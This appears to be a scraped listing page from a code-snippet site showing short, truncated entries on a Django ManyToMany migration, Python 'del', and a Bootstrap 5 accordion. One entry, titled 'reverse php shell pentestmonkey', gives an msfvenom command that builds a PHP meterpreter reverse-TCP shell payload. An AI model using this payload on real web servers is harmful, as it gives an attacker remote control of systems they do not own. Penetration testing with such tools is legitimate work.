What do you want to save?
Add Code snippet
New code examples
-
Python 2022-03-22 09:10:17
you cannot alter to or from M2M fields, or add or remove through= on M2M fields)
#convert migration file migrations.AlterField( model_name='player', name='teams', field=models.ManyToManyField(related_name='players', through='players.TeamPlayer', to='players.Team'), ), #to migrations.RemoveField( model_name='player', ... Add solution -
Shell/Bash 2022-03-21 13:10:51
reverse php shell pentestmonkey
##This will create the payload file "shell.php" with your ip and port. msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php ##You can always "nano" the file to change your ipaddr... Add solution -
Python 2022-03-19 19:50:03
del python example
# Delete Variables my_var = 5 my_tuple = ('Sam', 25) my_dict = {'name': 'Sam', 'age': 25} del my_var del my_tuple del my_dict # Delete item from list my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9] # deleting the third item del my_list[2] # Delete from dictionary... Add solution -
Html 2022-03-17 15:30:22
bootstrap 5 accordion
<!-- bootstrap 5 Accordion --> <div class="accordion" id="accordionExample"> <div class="accordion-item"> <h2 class="accordion-header" id="headingOne"> <button class... Add solution